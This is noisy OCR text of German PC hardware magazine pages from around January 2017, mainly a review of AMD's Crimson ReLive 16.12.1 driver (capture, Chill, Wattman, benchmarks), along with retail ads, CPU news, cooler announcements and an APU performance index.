2560 Shadereinheiten » DirectX 12, OpenGL 4.5 
Зх DisplayPort, HDMI, DVI • PCle 3.0 x16 


Grafikkarte • NVIDIA GeForce GTX 1080 

1695 MHz Chiptakt (Boost: 1835 MHz) 

8 GB GDDR5X-RAM (10 GHz) 

2560 Shadereinheiten » DirectX 12, OpenGL 4.5 
2x DisplayPort, 2x HDMI, 1x DVI • PCle 3.0 x16 


JFXVOC11 JFXTOCO2 


Abgabe nur in haushaltsüblichen Mengen und solange Vorrat reicht. Irrtümer und Druckfehler vorbehalten. 
Alle Preise in Euro inkl. MwSt. und zuzüglich Versandkosten. Angebote gültig bis zum 18.01.2017 


727750 20 
222, 


LWAEO2 


GIGABYTE? 


Life's Good 


LED-Monitor, AH-IPS-Panel • 86,4 cm (34") Bilddiagonale » 2560x1080 Pixel (WFHD) 
5 ms Reaktionszeit (GtG) • Kontrast: 1.000:1 (fest) e Energieeffizienzklasse: В 
neigbarer, höhenverstellbarer Standfuß • Helligkeit: 300 cd/m? 

2x HDMI, 1x DisplayPort, USB 3.0 Quick Charge 


V7LKOL 


devoLo 


chen 


= СІСАСАТЕ 
Q 


WLAN Bridge • bis 2 Gbit/s Bridging Kapazität 
AES Verschlüsselung 

5 GHz Betrieb • 4 Interne Antennen 

1x RJ45 Gigabit » 4x RJ45 Fast Ethernet 


Grafikkarte « NVIDIA GeForce GTX 1060 

1582 MHz Chiptakt (Boost: 1797 MHz) 

3 GB GDDR5-RAM (8 GHz) 

1152 Shadereinheiten • DirectX 12, OpenGL 4.5 
1x DisplayPort, 1x HDMI, 2x DVI » PCle 3.0 x16 


JDXYOC12 


crucial 


wäßheron: 


! —279,- 


Solid-State-Drive e CT1050MX300SSD1 

1000 GB Kapazität « SATA 6Gb/s » 2,5"-Bauform 
530 MB/s lesen • 510 MB/s schreiben 

92.000 IOPS lesen • 83.000 IOPS schreiben 


IMLMCS1 


urn 


DESKSTAR 


MO, 


Interne Festplatte • H3IKNAS800012872SWW 
8 TB Kapazität • 128 MB Cache • 7.200 U/min 
3,5"-Bauform • SATA 6Gb/s 
Vibration Safeguard (RVS) 


AKBI05 


ALTERNATE 


bequem online 
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AMD Crimson Relive 


Die nächste Evolutionsstufe der Radeon Software ist da: Crimson Relive startet mit Version 16.12.1 


und hat interessante Neuerungen für Radeon-Nutzer im Gepäck. 


Crimson Relive: Wichtige Neuheiten 


46 


.. Relive: Hinter dem Namensgeber der neuen Radeon- 


Software steckt ein Capturing-Tool für Screenshots und 
Videos — inklusive On-Screen-Display/Toolbar sowie 
Streaming-Funktion auf Youtube, Twitch & Co. 


.. Chill: Profilbasierte Funktion, welche die Bildrate in Spielen adaptiv senkt 


und somit Leistungsaufnahme und Lautheit eindämmt. 


.. Wattman: Beim Polaris-Launch im Juni 2016 kündigte AMD an, die 


Wattman-Funktionen später weiteren Chips zugänglich zu machen. Der neue 
Wattman kann mit allen GCN-Chips der Generationen 1.1 und neuer umgehen 
— HD 79x0/78x0, R9 270[X]/280[X] & R7 370 bleiben außen vor. 


.. Linux: Crimson Relive unterstützt nun alle dedizierten GCN-Grafikkarten 


sowie Freesync unter dem freien Betriebssystem. 


.. Freesync: Funktioniert nun auch im rahmenlosen Fenstermodus (borderless 


window); außerdem werden nun mehr Hertz-Schritte zwischen der maximalen 
und minimalen Freesync-Range unterstützt. 


.. Installer: Das Treiber-Setup kann nun mittels Klick auf , Neuinstallation" 


Treiberreste zuverlässig entfernen, alle Einstellungen werden zurückgesetzt. 
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MD veróffentlichte mit der 


adeon Software Crimson 
Relive Edition turnusgemäß eine 
neue Hauptversion seines Gra- 
fiktreibers. Wie 2014 (Catalyst 
Omega) und 2015 (RS Crimson) 
bringt die 2016er-Edition 


neue Funktionen sowohl für alte 


auch 


als auch für neue Radeon-Grafik- 
karten. Ursprünglich plante AMD, 
jedes Update mit einem anderen 
Rot-Ton zu benennen, doch beim 
Karmin-/Purpurrot macht die Fir- 
ma eine Ausnahme: Crimson habe 
sich eine zweite Amtszeit verdient, 
so AMD, sodass wir diesen Farbton 
wiedererleben (englisch: to relive) 
dürfen. Passend dazu führt man 
eine in den Treiber integrierte 
Aufnahmefunktion ein. PC Games 
Hardware testet, was die RSC Relive 
Edition 16.12.1 leistet. 


Relive: AMDs Shadowplay 

Im Herbst 2013 rief AMD in Ko- 
operation mit der Firma Raptr die 
Gaming Evolved App ins Leben, um 
ein Gegenstück zu Nvidias Geforce 
Experience anzubieten. Drei Jah- 
re spáter, am 12. September 2016, 
endete die Zusammenarbeit, die 
Gaming Evolved App wird nicht 
weiterentwickelt Um die Trauer- 
phase móglichst kurz zu halten, 
bietet AMD übergangsfreien Ersatz 
an: Relive (eigentlich: „ReLive“) ist 
Namensgeber und die wichtigste 
Funktion des neuen Treibers in 
einem. Dahinter steckt eine Captu- 
ring-Funktion für Screenshots und 
Videos inklusive Replay-Option. 
Bei der Benennung haben sich 
AMDs Wortspieler durchgesetzt, 
denn „ReLive“ mit großem „L“ ist 
eine Zusammensetzung aus ,live* 
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(jetzt; ,leif* ausgesprochen) und 
(wiedererleben; 
ausgesprochen). Nomen est omen, 
denn Aufnahmeprogramm 
erlaubt Live-Aufnahmen, die kon- 
serviert und wiedererlebt werden 
können. AMDs offizielle Ausspra- 
che des Features entspricht dem 
englischen Wort „relive“. 


„relive“ ,rie-liw* 


ein 


Einmal installiert und aktiviert, ha- 
ben Radeon-Nutzer in Spielen Zu- 
griff auf eine Toolbar, welche sich 
auf Tastendruck über das Spielge- 
schehen oder den Windows-Desk- 
top legt - auch Letzterer làsst sich 
aufnehmen. Aufnahmen werden 
mithilfe von konfigurierbaren Hot- 
keys erstellt. Weitere Informatio- 
nen zu Relive erhalten Sie auf den 
folgenden Seiten und den beiden 
Videos auf der zweiten Heft-DVD. 


Chill: Intelligentes Fps-Limit 
Bei Chill handelt es sich um das 
zweite grofse Feature der Relive- 
Edition. Den Grundstein dafür bil- 
det die Akquisition der Softwarefir- 
ma HiAlgo, welche AMD Mitte 2016 
vollzog. Chill aktiviert ein adaptives 
Frame-Limit, das die Bildrate nicht 
starr, sondern intelligent anpasst. 
Die Idee dahinter ist schlüssig: Die 
Bildrate wird in Ruhephasen redu- 
ziert, beispielsweise bei einer Zwi- 
schensequenz, in einem Menü oder 
schlicht weil die Natur ruft und Sie 
das Spiel nicht beenden möchten. 
In diesen Phasen, bei denen keine 
Nutzereingaben stattfinden und 
somit auch keine hohen Bildraten 
notwendig sind, spart der PC - pri- 
mär die Grafikkarte - Strom und 
die Lautheit sinkt. Geht es wieder 
zur Sache, wird im Idealfall eine 
hohe Bildrate knapp unterhalb de- 
rer geliefert, die der PC maximal 
stemmen kann. Das spart gegen- 
über ungedrosselter Wiedergabe 
Energie und schont die Ohren. 
Auch zu diesem Thema erfahren 
Sie auf den folgenden Seiten und 
der DVD mehr. 


Wattman 2.0 

Mit den Polaris-Chips führte AMD 
im vergangenen Jahr den Watt- 
man ein, das neue Tuning-Menü 
der Radeon Software. Bislang RX- 
400-exklusiv, steht Wattman mit 
dem Crimson Relive nun auch Be- 
sitzern älterer Radeon-Grafikkarten 
zur Verfügung. Das beinhaltet alle 
Modelle mit GCN-1.1-Genen oder 
neuer - Nutzer der altehrwürdigen 
HD 79x0, HD 78x0 und der jewei- 
ligen Rebrands müssen sich mit 
Overdrive begnügen. 


Leistungstest 

AMD bewirbt die Leistungsverbes- 
serung des Treibers nur am Ran- 
de - aus gutem Grund, wie unsere 
stichprobenartigen Spiele-Bench- 
marks zeigen: Gegenüber der noch 
recht frischen RS Crimson 16.9.1, 
mit der wir den neuen Leistungs- 
index (siehe PCGH 11/2016) ermit- 
telten, erzielt die RSC Relive 16.12.1 
zwischen null und zwei Prozent 
höhere Bildraten. Immerhin: Kein 
Spiel läuft langsamer, sodass auch 
Balkenfreunde bedenkenlos den 
neuen Treiber installieren können. 


Demokratie 

AMD legt Wert auf Nutzerwünsche: 
Klicken Sie in den Radeon Settings 
rechts oben auf den Stern, dürfen 
Sie geplanten Treiberfunktionen 
durch Auswahl eine höhere Priori- 
tät zusprechen und weiteres Feed- 
back geben. (rv) 


Fazit Hardware 


RS Crimson Relive 

Mit der neuen Radeon Software Crim- 
son Relive führt AMD konsequent fort, 
was sie im Jahr 2015 begonnen hat. 
Die neuen Funktionen ReLive und Chill 
ergänzen das Funktionspaket um inte- 
ressante Optionen. Unter dem Strich ist 
der Radeon-Treiber vollständig, rasant 
bedienbar und zuverlässig — allein der 
Stillstand bei VSR ist schwach. 


2 Videos und Bilder auf Heft-DVD 


Im 15-Minuten-Video 
präsentieren wir Ihnen 

die neuen Features ReLive 
und Chill sowie die erneu- 
erte Oberfläche. Im zweiten 


Video testen wir die Funktionen auf einer HD 
7970 — aufgenommen mit Relive selbst. Als 
Bonus gibt's Bilder aller wichtigen Menüs. 


TTT A 
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Crimson Relive 16.12.1 vs. Crimson 16.9.1 


Ashes of the Singularity (DX12), max. Details, 4x MSAA - ,,Scavenger” 
Radeon Software 16.12.1 [EX ШЕШ 27,0 (+0 96) 
Radeon Software 16.9.1 ШЕЯ 26,9 (Basis) 
Deus Ex: Mankind Divided (DX11), AO ,ein", keine CHS - , Prague" 
Radeon Software 16.12.1 GEPƏƏBBIGkGkIPPPGIIC OIIHESSESIIE 61,0 (+0 96) 
Radeon Software 16.9.1 XS 60,8 (Basis) 
Far Cry: Primal (DX11), max. Details inkl. HD-Texturen - , Sunrise" 
Radeon Software 16.12.1 [X3 45,9 (-0 96) 
Radeon Software 16.9.1 38 46,0 (Basis) 
GTA 5 (DX11), Gras ,sehr hoch", Schatten ,,am weichsten", 4x MS - ,,Grapeseed" 
Radeon Software 16.12.1 MEEA 34,3 (+1 96) 
Radeon Software 16.9.1 Lt 34,0 (Basis) 
Mirror's Edge: Catalyst (DX11), Hyper-Preset - „Rooftops” 
Radeon Software 16.12.1 awas; 53,4 (+0 96) 
Radeon Software 16.9.1 Ea 53,4 (Basis) 
Overwatch (DX11), maximale Details – , Dorado" 
Radeon Software 16.12.1 [Xr 98,6 (4-1 96) 
Radeon Software 16.9.1 UU 97,8 (Basis) 
Rise of the Tomb Raider (DX12), max. Details, SMAA - „бео Valley" 
Radeon Software 16.12.1 ШЗ 44,1 (+2 90) 
Radeon Software 16.9.1 Xm 43,4 (Basis) 
The Witcher 3 (DX11), kein Hairworks/HBAO- - „Boat Trip" 
Radeon Software 16.12.1 a T>-mw8l|| 60,2 (4-0 96) 
Radeon Software 16.9.1 csi! 60,1 (Basis) 


System: AMD Radeon RX 480/8G (1.266 MHz), Intel Core i7-6800K @ 4,4 GHz, MSI 
X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 (1607) 
Bemerkungen: Alle Benchmarks in Full HD und mit 16:1 HQ-AF. 


Mimil 2 Fps 


» Besser 


Overhead-Tests unter Direct X 11 


3D Mark, API Overhead Feature Test - DX11 Single-Thread (Drawcalls) 
Radeon Software 16.12.1 aa 1.757.680 (+18 %) 
Radeon Software 16.11.5 [XXX 1.494.362 (Basis) 
Watch Dogs 2 (DX11), 720p, max. Det. außer Extra-Sichtweite (0 %) - , Frisco" 


Radeon Software 16.12.1 Fo E 42,5 (+4 9) 
Radeon Software 16.11.5 [XXX ШЕШЕНЕ 40,9 (Basis) 


System: Core i7-6800K @ 4,4 GHz + RX 480/8G (3D Mark), FX-8350 + R9 Nano (Watch 
Dogs 2); Windows 10 x64 Bemerkungen: Im 3D Mark leistet Crimson Relive wesentlich 
mehr als sein Vorgänger, im Beispiel Watch Dogs 2 kommt davon jedoch nur wenig an. 


Mimi 2 Fps 


» Besser 


Video-Encoding mit Relive 16.12: Feature-Support 


AVC (H.264) 
Radeon R9 Fury X 
Radeon R9 Fury 
Radeon R9 Nano 
Radeon RX 480 
Radeon RX 470 
Radeon RX 460 
HEVC (H.265) 
Radeon R9 Fury X 
Radeon R9 Fury 
Radeon R9 Nano 
Radeon RX 480 
Radeon RX 470 
Radeon RX 460 | 
Wi Unterstützt Bi Nicht unterstützt 


| 1080p30 | 1080p60 | 1440p30 | 1440p60 | 2160p30 | 2160p60 
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Radeon Chill: , Schlaues" Framelimit für höhere Effizienz 


Bei Chill handelt es sich um ein adaptives 
Frame-Limit, das die Bildrate nicht starr, sondern 
intelligent, d.h. bedarfsabhángig anpasst. 


Der Algorithmus arbeitet mit zwei Fps-Schwellenwerten 
und einer Eingabe-Erkennung. Als Beispiel haben 

wir TES 5: Skyrim auserkoren, eines der bislang 18 
unterstützten Spiele (siehe Tabelle). Bleiben Sie nach 
dem Laden des Spielstands stehen, wird die Bildrate auf 
den im Spielprofil festgelegten Minimalwert gesetzt. 
Der Standard sind 40 Fps. Sobald Sie eine Taste drücken 
oder die Maus bewegen, schnellt die Bildrate nach 


oben - nicht auf das Niveau, welches Ihr Rechner 
maximal ausgeben kann, sondern auf den oberen der 
beiden Chill-Schwellenwerte. Hier liegt der Standard 
bei 62,5 Fps. Selbstverständlich funktioniert das nur, 
wenn Ihr Rechner konstant 62,5 Fps bereitstellen kann, 
ansonsten fällt die maximale Bildrate geringer aus. 


Die Min- und Max-Werte lassen sich in den Profilen 

der Spiele einstellen. Bei unseren Tests mit Skyrim und 
Overwatch auf einer MSI Radeon RX 480 Gaming X 8G 
hat Chill enorme Auswirkungen auf den Verbrauch. In 
Skyrim (WQHD, max. Details) führt ein offenes Frame-Li- 


mit zu einem GPU-Powerdraw (nur die GPU, nicht die 
komplette Karte!) von rund 160 Watt. Schalten wir Chill 
ein und aktivieren somit das 62,5-Fps-Limit, sinkt der 
Verbrauch auf unter 130 Watt; mit dem 40-Fps-Cap 

bei Stillstand sogar auf unter 100 Watt. Interessant ist, 
dass Chill auch dann 40 Fps setzt, wenn wir mittels 
C-Taste das automatische Laufen aktivieren. Der Algo- 
rithmus erkennt ergo nicht die Bewegung im Screenspa- 
ce, sondern die Nutzereingaben. Chill funktioniert 

mit allen Radeon-Chips seit 2012 (HD 7000+) unter 
Windows 7/8.x/10 — Multi-GPU ausgenommen. Weitere 
Impressionen liefern Ihnen die Videos auf der Heft-DVD. 


Spielekompatibilität 


Spiel 

Team Fortress 2 
Overwatch 

Counter-Strike 

ЧА ten Paragon 

140 u Crossfire 

Fallout 4 

Far Cry 4 

Far Cry Primal 

Call of Duty: Infinite Warfare 
Deus Ex: Mankind Divided 
Warframe 

Dark Souls 3 

The Witcher 3 

Planetside 2 

World of Warcraft 

Rise of the Tomb Raider 
Tomb Raider (2013) 

The Elder Scrolls 5: Skyrim 


Chill in Aktion: Skyrim mit adaptivem Framelock 


TES 5: Skyrim (DX9), „Sehr hoch"-Preset, 2.560 x 1.440 - „Secunda’s Kiss" 
200 


180 


d у ет Сер 
160 e= S". льн GEN NC 


Fps bzw. Watt 


— I. — .— Tr n.Ü Q n 


` 


ш Chill aus — Fps 
W (hill aus — Watt 


IB Chill an — Fps 
IB Chill an — Watt 


40 45 5 5 6 6 70 75 80 8 9 
Zeit in Sekunden 


Bemerkungen: Angegeben sind die Bilder pro Sekunde (Fps; durchgezogene Linie) und die GPU-Leistungsaufnahme (Watt; gestrichelt). Bis Sekunde 7 und bei 
Sekunde 65 bis Sekunde 76 bleiben wir stehen. Dort, ohne Nutzer-Eingaben, limitiert Radeon Chill die Fps auf 40 und die Leistungsaufnahme sinkt stark. 
System: MSI RX 480 Gaming X/8G (1.303 MHz), Core i7-6800K @ 4,4 GHz, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1607), RSC Relive 16.12.1 


Relive ist Namensgeber und wichtigste Funktion des AMDD RADEON EINSTELLUNGEN 
neuen Treibers zugleich. Das Feature erlaubt die kom- 


fortable Aufzeichnung von Videos und Screenshots. 


Relive ist optional, Sie dürfen bei der Treiber-Installation 
entscheiden, ob das Feature installiert werden soll oder nicht. 
Doch auch mit einem frisch aufgespielten oder mittels Neuin- EE 
stallation zurückgesetzten Treiber ist Relive deaktiviert. Ein A 

Klick im entsprechenden Menü der Radeon Settings ändert 
das. Die Konfigurationsmöglichkeiten von Relive sind bereits 
in der ersten Implementierung umfangreich: Sie dürfen unter 
anderem die Tasten für die Aufzeichnung oder Einblendung 
der Ingame-Toolbar (siehe Bilder) sowie den Speicherort der 
aufgenommenen Shots und Videos festlegen. Selbstverständ- 
lich lässt sich auch die Qualität der Bewegtbilder inklusive 
Ton, Bit- und Bildwiederholrate festlegen. Die Kodierung 
erfolgt entweder mittels AVC (H.264) oder, RX-400-exklusiv, 
HEVC (H.265). Die Standard-Tastenkombination, um die 
Toolbar in Spielen einzublenden, ist Alt+Z. Um Problemen 
vorzubeugen, sollten Sie sowohl das Windows-10-DVR als 
auch weitere Overlay-Programme (u. a. MSI Afterburner) 
abschalten. Randnotiz: In älteren, internen Treiberversionen 
betitelte AMD das Relive-Feature — durchaus passend, aber 
an Nvidia erinnernd — , Shareplay". Weitere Informationen zu 
Relive liefern die Videos auf der Heft-DVD. 


Aufzeichnungs-Hotkey umschalten Hotkey für sofortige Wiedergabe sech Streaming-Hotkey umschalten 


Screenshot-Hotkey fon-Holkkey umschalten Karmera-Holkery umschalten 
E «M Art ëtt 


Einstellungen Aufzeichnen Streamen Screenshot 


us 


R 


CTRL+SHIFT+R CTRL+SHIFT+G CTRL+SHIFT+E 
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Crimson Relive 16.12 


Spiele — Globale Einstellungen @ 


Ein Klick auf den Button , Spiele" öffnet die Liste installierter respektive vom : : 
Treiber erkannter Titel inklusive Symbol. Jeder einzelne erhält ein Profil, in dem Sie : : 
Einstellungen wie AA, AF, Vsync und, falls unterstützt, Wattman und Chill vorneh- 

men können. Alternativ legen Sie die Einstellungen unter „Globale Einstellungen“ 
— „Globale Grafikkarte” für alle Spiele auf die gleichen Werte. 


АМОЙ RADEON! EINSTELLUNGEN 


AMD A 


RADEON 


REDESIGNED. REFIN 


Klicken Sie hier, um mehr über AMD Radeon Software zu erfahren. 


v Updates di Einstellungen Ж Benachrichtigungen 


Unter , Spiele" — „Globale Einstellungen" befinden sich 
die Reiter „Globale Grafikkarte", welcher standardmäßig 
geöffnet wird, sowie „Globaler Wattman". Letzterer 
erlaubt globale, d. h. für alle verwendeten Spiele geltende 
Leistungs- und Lüftereinstellungen. Je nach Karte stehen 
mehr oder weniger Optionen zur Verfügung. Die Regler für 
den RAM-Takt und die Speichercontroller-Spannung sind 
beispielsweise RX-400-exklusiv. 


Wattman ist auf allen modernen Radeon-GPUs der 
GCN-Generation 1.1 und neuer verfügbar. Das be- 
inhaltet die Radeon HD 7790, R7 260(X)/360, R9 
285/380(X)/290(X)/390(X), Nano/Fury (X) und selbstver- 
stándlich auch die RX-400-Serie. Nur die GCN-1.0-Chips 
Radeon HD 79x0, HD 78x0, R9 280(X)/270(X), R7 370 
müssen sich aufgrund der eingeschránkten Konfigurierbar- 
keit mit dem alten Overdrive-Menü begnügen — dort findet 
sich der Reiter „Global Overdrive". Chill lässt sich sowohl 
im Wattman als auch Overdrive global aktivieren. 


Macte сезгенче. 


Temperature (C) 


Lewtungsgrenze C» 


Wer jedes Spiel mit eigenen Takt- und Lüftereinstellungen 
nutzen móchte, sollte das in den jeweiligen Spielprofilen 
und nicht global erledigen. 
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Video: Bewegtbilder auf Wunsch verbessern o 


Dieses Menü der Radeon-Settings ist der Verbesserung von Videos gewidmet. Es 
bietet sowohl Voreinstellungen für gängige Videoformate als auch die Möglichkeit, 
alle Einstellungen einzeln zu justieren. Klicken Sie dazu auf , Benutzerdefiniert", 
dann öffnen sich die Optionen für Schärfe, Sättigung und mehr. Steady Video und 
Fluid Motion müssen von der Video-Software unterstützt werden. 


el ive 


Relive: Videos und Screenshots aufzeichnen o 


Was Sie mit Relive anstellen können, erläutern wir auf den vorherigen Seiten und 
in den beiden DVD-Videos. AMD lässt Ihnen bereits bei der Treiber-Installation die 


= 
Wahl, ob Sie Relive installieren möchten oder nicht — praktisch. Der , ReLive"-But- 
ton findet sich unabhängig davon stets mittig in den Radeon-Settings, zwischen 


ENS D , Video" und , Anzeige", und ist somit nicht zu übersehen. 
ЕР. SUPERCHARGED. 


D 
D 
D 
H 
D 
D 
D 
D 
D 
D 
D 
D 
D 
D 
D 
D 
D 
D 
D 
D 
D 
D 
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Neuinstallation löscht „Treiberleichen” 


: AMD hat die Rückmeldungen seiner Nutzer beherzigt und das Treiber-Setup über- 
arbeitet. Das beinhaltet nicht nur ein neues Antlitz im Stile der Radeon-Settings, 
Anzeige Ө sondern auch die Option , Neuinstallation". Klicken Sie darauf, werden alle Treiber- 

reste, möglicherweise noch vom Catalyst, sauber entfernt. Erst nach einem Neustart 
wird der frische Treiber installiert — das beugt Nebenwirkungen vor. 


In diesem Menü befinden sich die Optionen für Virtual Super Resolution (VSR), 

Bildskalierung, Farbtemperatur sowie — das ist neu bei Relive — benutzerdefinierte 
Auflösungen. Ein Klick auf „Erstellen“ erlaubt es Ihnen beispielsweise auf einem di 
UHD-Display, die UWQHD-Auflósung 3.440 x 1.440 mit CVT-Timings einzutragen — — Fies 
und zu nutzen. Ebenfalls unter , Anzeige" findet sich die neue HDMI-Diagnostik. 


AMD Radeon Senqa AMD SMBus Treiber 


RADEON Terme 
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Prozessoren 


AMD- und Intel-Prozessoren, Prozessorkühler, Wärmeleitpasten 


Carsten Spille 
Fachbereich Prozessoren 
E-Mail: cs@pcgh.de 


Kommentar 


AMD will zurück in den High-End-Bereich 
bei CPUs - und Zen macht's spannend. 


Erinnern Sie sich noch an das Jahr 2011? AMD 
stand kurz vor der Einführung der ersten Bull- 
dozer-CPUs und das halbe Internet drehte auf 
Basis von in Foren mehr oder minder offiziell ge- 
streuter Informationen schier durch. Nach langer 
Durststrecke und AMDs gezwungenermaßenem 
Festhalten an den Phenom-Prozessoren sollte 
Bulldozer mit dem revolutionären Modulkonzept 
den Durchbruch bringen. Bekanntermaßen wur- 
de daraus nichts — auch wenn bis inklusive des 
Launches durchweg anderes behauptet wurde. 


Bisher — also seit gut anderthalb Jahren — wie- 
derholt sich die Geschichte: Informationshäpp- 
chen wie der Codename , Zen", ein Ziel von 40 
Prozent mehr Leistung pro Takt als Bulldozer/ 
Excavator, die Adaption von Simultaneous Mul- 
tithreading, Anzahl der Kerne, Architekturdetails 
wie die Anzahl der Pipelines und so weiter und 
so fort. Inzwischen sind wir bei realen Leistungs- 
betrachtungen mit wenigen Unbekannten ange- 
langt. Nach einer Szene des 3D-Rendering-Pro- 
gramms Blender im Sommer 2016, in dem eine 
Zen-CPU bereits einen Quasi-Gleichstand zu 
einem Achtkern-Broadwell erzielen konnte, wie- 
derholte AMD diese Vorschau kürzlich und legte 
mit dem ebenfalls frei verfügbaren Videokonver- 
er Handbrake noch einen drauf. 


Der entscheidende Unterschied zu Bulldozer: 
Dieses Mal sind die Programme, welche AMDs 
Fortschritte zeigen, real und AMD gibt unter 
www.amd.com/ryzen sogar die Blender-Szene 
zum Nachstellen daheim frei. Das stimmt äu- 
Berst positiv — verkürzt aber die Wartezeit nicht 
gerade. Denn so wie es derzeit aussieht, wird es 
wohl eher spät im ersten Quartal werden, be- 
vor AMD endlich die lang ersehnten (Ry-)Zens 
auspackt und bezahlbare Achtkerner für den hei- 
mischen PC Wirklichkeit werden. Ich jedenfalls 
bin voller Vorfreude! 
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Kaby-Lake X zur Gamescom 2017? 


Wohl als Konkurrenz zu AMDs Ryzen-CPUs plant In- 
tel für Mitte 2017 einen Kompromiss aus Skylake- 
X-High-End und Kaby-Lake-Mittelklasse. 


E ber den kommenden Sockel RÁ mit 2.066 
Kontakten haben wir bereits berichtet - als 
Heim für die künftigen High-End-CPUs mit Sky- 
lake-X-Innenleben und jene wiederum als Abló- 
sung für die aktuellen Broadwell-E-Modelle wie 
den i7-6950X. Doch auch eine neue Mittelklasse 
oberhalb der normalen Vierkerner soll im neuen 


Sockel Platz finden. Das Kuriose: Kaby Lake X soll 
trotzdem nur vier Kerne und 16 PCI-Express-La- 
nes besitzen und muss auf den per Turbo Boost 
3.0 selektierten, schnellen Einzelkern-Beschleu- 
niger verzichten. Auch auf die integrierte Grafik 
und den Vierkanal-Speicher muss er verzichten, 
darf sein Zweikanal-Speicherinterface bei nur ei- 
nem RAM-Riegel pro Kanal aber mit DDRÁ-2666 
beschicken. Allerdings darf KBL-X mit 112 Watt 
etwas mehr Leistung aufnehmen als seine Sockel- 
1151-Vettern. Soweit die Gerüchteküche. 


Nachdem die regulären Kaby-Lake-Desktop-CPUs 
mit freiem Multiplikator entgegen ursprüngli- 
chen Mutmaßungen nun jedoch auch im Handel 
sind, stellt sich weiterhin die Frage, was Intels 
Pläne für und mit Kaby Lake X sind. Will man 
durch günstigere CPUs mehr Leute zum Wechsel 
auf die High-End-Plattform bewegen und in der 
nächsten Generation vielleicht die freien Multi- 
plikatoren für den Mainstream einstellen? Dage- 
gen spricht, dass es mit dem i3-7350K erstmals 
auch hierzulande einen Zweikern-Kaby-Lake mit 
freiem Multiplikator gibt. (al/cs) 


Intel kündigt erste Skylake-CPUs ab 


Neben 14 Haswell-Modellen kündigt Intel auch 
das Produktionsende für die ersten Skylake-Pro- 
zessoren an - darunter solche mit Iris-Pro-Grafik. 


ie Zeit einer jeden CPU läuft irgendwann ab 
р: auch bei Intel. Dass Prozessoren bereits 
„abgekündigt“ werden, die gerade einmal wenige 
Monate am Markt sind, kommt seltener vor. Den- 
noch: Neben etlichen Haswell-Prozessoren, da- 
runter der Pentium G3258 Anniversary Edition 
mit freiem Multiplikator und viele Modelle der 
beliebten Xeon E3-1230-Reihe, trifft es auch Core 
i5-6585R, i5-6685R und i7-6785R, welche erst im 
Q2 2016 auf den Markt kamen. 


Insgesamt werden die 14-nm-Skylake-CPUs mit 
Iris-Pro-Grafik allerdings durchaus mehr als ein 
Jahr verfügbar gewesen sein, denn Bestellungen 
für die Modelle will Intel wie üblich noch eini- 
ge Monate lang annehmen. Bis Ende Juni 2017 
sollen sie orderbar bleiben und bis 8. Dezember 
2017 ausgeliefert werden. Parallel hat Intel die 
ebenfalls mit Iris-Pro-Grafik ausgestatteten Has- 


well-Modelle i7-4770R, i5-4670R und i5-4570R 
zusammen mit anderen Haswell-CPUs für die- 
selben Zeiträume abgekündigt. Ob die Iris-Pro- 
Einstellung System hat und mit dem kürzlich kol- 


portierten Lizenzabkommen zwischen Intel und 
AMD bezüglich der Grafikpatente zu tun hat oder 
ob man sich möglichst schnell rein auf Kaby Lake 
und kommende Prozessoren konzentrieren will, 
steht derzeit noch in den Sternen. (cs) 
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Bild: MSI 


Neue Kühler für AM4 & Co. 


Passend zum Jahreswechsel gibt 
es eine neue Runde Kühler - un- 
ter anderem von Lepa, Gigabyte 
und MSI. 


Auch von Gigabyte gibt es mit dem XTC700 einen neuen CPU-Kühler, in 
dessen Spezifikationsliste allerdings noch kein AM4 erwähnt wird - mit 
allen anderen Sockeln seit dem 754 aufseiten AMDs und 775 von Intel ist 
er allerdings kompatibel, was für ein flexibles Befestigungssystem spricht, 
sodass auch AM4 nicht ausgeschlossen sein sollte. Auch er ist ein Single-To- 
wer-Design, allerdings mit drei 10-Millimeter-Heatpipes ausgestattet, soll 
1.015 Gramm wiegen und mit seinen zwei 120-Millimeter-Lüftern mehr als 


200 Watt Verlustleistung abführen kónnen. 


Etwas mehr Bling-Bling als die eher dezent RGB-beleuchteten Modelle von 
Gigabyte und MSI zeigt Lepa mit dem Neollusion-Kühler, dessen Illumina- 
tion sogar über eine IR-Fernbedienung gesteuert werden und speziell für 
Casemodder interessant sein soll. Er bietet 16 Farben und vier Beleuch- 
tungsmodi, auf der Kühlungsseite führen vier 6-Millimeter-Heatpipes und 
ein 120-Millimeter-Lüfter die Wärme von der CPU ab. 


it AMDs künftigem Zen- 

Sockel AMÁ (siehe auch 
AMD-Special 
kommt wieder Bewegung in 
den Kühlermarkt, denn erst- 
mals seit einiger Zeit werden 
auch für die AMD-Plattform 
neue Kühlerbefestigungen nó- 
tig. Neben den üblichen Ver- 
dächtigen unter den Kühlerspezialisten steigt nun auch MSI mit dem Ga- 
ming Core Frozr L in den AMÁ-Kühlermarkt ein. Der Single-Tower-Kühler 
mit vier 8-Millimeter-Heatpipes und serienmäßig einem 120-mm-Ventila- 
tor soll im Januar für rund 50 Euro erhältlich sein. 


PCGH-Index: Top 10 APUs 


BESSER | Normierte Leistung 


Intel Core i7-5775C 
3,3/1,15 GHz — 4c/8t — GPU 384 ALUs 


Preis: Ca. 360 Euro 


Anno:53/33 Bl: 73/35 
| BF4: 88/38 F1: 94/68 


TES: 147/62 
TR: 127/47 


WoW: 83/39 Lux: 713 
7-1ip:193 185: 155 


x264: 5,62 


Intel Core i5-5675C 
3,1/1,15 GHz – 4/41 — GPU 384 ALUs 


Preis: Ca. 310 Euro 


Anno: 52/32 ВІ: 70/34 
BF4: 86/38 F1: 91/66 


TES: 142/60 
TR: 119/45 


WoW: 79/37 Lux: 469 
7-Zip:274  LR5:160 


X264: 4,53 


Intel Core i7-6700K 


ab Seite 26) 4,011,15 GHz — 40/81 - GPU 192 ALUS 


E 


Anno: 48/23 ВІ: 48/21 


TES:102/41 — WoW:52/25 их: 715 x264: 6,82 
Preis: Са. 340 Euro | ВР4: 63/28 F1:83/52 "mmm 7-71р:194 — LR5:145 
AMD А10-7870К "E 
3,9/0,87 GHz — 2m/4t — GPU 512 АШ» 
Аппо: 32/24 Bl:67133 — TES:132/57 — WoW:77/37 lux248 x264: 2,66 
Preis: Ca. 120 Euro BF4:66/32 — F1:80/62 ТА: 84/34 7-2ip:439 1А5:267 


AMD A10-7850K 
3,7/0,72 GHz — 2m/4t — GPU 512 ALUs 


702% | 


Anno:31/23 Bl:62/30 — ТЕЅ: 124/51 — WoW:71/35 Lux:234 x264: 2,56 
Preis: Ca. 100 Euro BF4:6331 Fl:7860 — TR:80/32 7-7ір:445 185:277 
